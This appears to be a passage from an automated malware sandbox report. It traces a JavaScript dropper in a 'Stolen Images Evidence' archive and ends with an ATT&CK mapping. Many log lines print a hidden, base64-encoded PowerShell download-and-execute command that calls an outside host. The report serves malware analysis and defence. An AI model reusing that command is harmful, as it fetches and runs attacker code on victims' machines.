Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=

Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe 'C:\Windows\System32\7za.exe' x -pinfected -y -o'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd' 'C:\Users\user\Downloads\Stolen Images Evidence.zip'	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'cmd.exe' /C 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js'	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe 'C:\Windows\System32\7za.exe' x -pinfected -y -o'C:\Users\user\AppData\Local\Temp\wx0c5czs.h3n' 'C:\Users\user\Downloads\Stolen Images Evidence (1).zip'	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'cmd.exe' /C 'C:\Users\user\AppData\Local\Temp\wx0c5czs.h3n\Stolen Images Evidence.js'	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe 'C:\Windows\System32\7za.exe' x -pinfected -y -o'C:\Users\user\AppData\Local\Temp\s4fhf54g.u35' 'C:\Users\user\Downloads\Stolen Images Evidence (2).zip'	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'cmd.exe' /C 'C:\Users\user\AppData\Local\Temp\s4fhf54g.u35\Stolen Images Evidence.js'	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js'	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\wx0c5czs.h3n\Stolen Images Evidence.js'
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\s4fhf54g.u35\Stolen Images Evidence.js'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation

Source: C:\Windows\SysWOW64\unarchiver.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 39_2_080340D8 CreateNamedPipeW,

39_2_080340D8

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation21	Path Interception	Process Injection112	Masquerading3	OS Credential Dumping	Query Registry1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
